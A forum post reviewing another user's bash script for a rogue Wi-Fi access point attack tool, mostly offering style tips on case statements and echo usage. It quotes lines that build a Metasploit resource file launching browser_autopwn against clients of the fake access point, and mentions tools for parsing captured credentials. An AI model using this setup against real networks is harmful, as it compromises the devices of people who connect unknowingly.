I will try that out as soon as I have time to install Kali (first release was bugged for me, keyboard stuff).
I am reading through the code, and it's very neat.
Vulpi, I used to do the same as you :
Code:
read apusage
if [[ $apusage = q ]];then
exit_fn
elif [[ $apusage != [1-6] && $apusage != 9 ]];then
first_fn
elif [[ $apusage = 9 ]];then
adv_usage_fn
fi
But I was hinted to use case in ... esac instead, and it's way better. For instance, instead of this barbarian line :"elif [[ $apusage != [1-6] && $apusage != 9 ]];then first_fn" you would jut have to write *) first_fn ;;
I use some of those in Yamas, you should check it out. It's aslo quite easy to replace. "edit" : I see you use it later on in the script, so you should be all right!
Code:
if [[ $var = n ]];then
internet=
interface_fn
fi
if [[ $var = y ]];then
if [[ $apusage = 3 || $apusage = a || $apusage = b || $apusage = c ]];then
echo -e "$warn\nDuh, won't work without an internet interface. Start again"
sleep 2
interface_fn
fi
fi
Shouldn't that be one big if with sub ifs, and an elif in case neither y nor n are entered ?
Code:
$API is in use, stupid. Try another interface
Code:
elif [[ $initial_scan != n ]];then # any value other than n restarts the function
echo -e "$warn\nWhat's it gunna be babe...yes or no?"
ahah Havin' fun are ya boy ?
Code:
echo -e "$info\nConsider using yamas or easy-creds to parse logs"
cheers!
Code:
echo "use auxiliary/server/browser_autopwn" > /tmp/karma.rc
echo "setg AUTOPWN_HOST $ap_ip" >> /tmp/karma.rc
echo "setg AUTOPWN_PORT 55550" >> /tmp/karma.rc
echo "setg AUTOPWN_URI /ads" >> /tmp/karma.rc
echo "set LHOST $ap_ip" >> /tmp/karma.rc
echo "set LPORT 45000" >> /tmp/karma.rc
echo "set SRVPORT 55550" >> /tmp/karma.rc
echo "set URIPATH /ads" >> /tmp/karma.rc
echo "run" >> /tmp/karma.rc
---SNIP---
Why not :
Code:
echo -en "setg AUTOPWN_HOST $ap_ip
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads
set LHOST $ap_ip
---SNIP---
set URIPATH /ads
run" > /tmp/karma.rc
since you're always writing in the same file?
That's all for now! More feedback when I get my hand on it!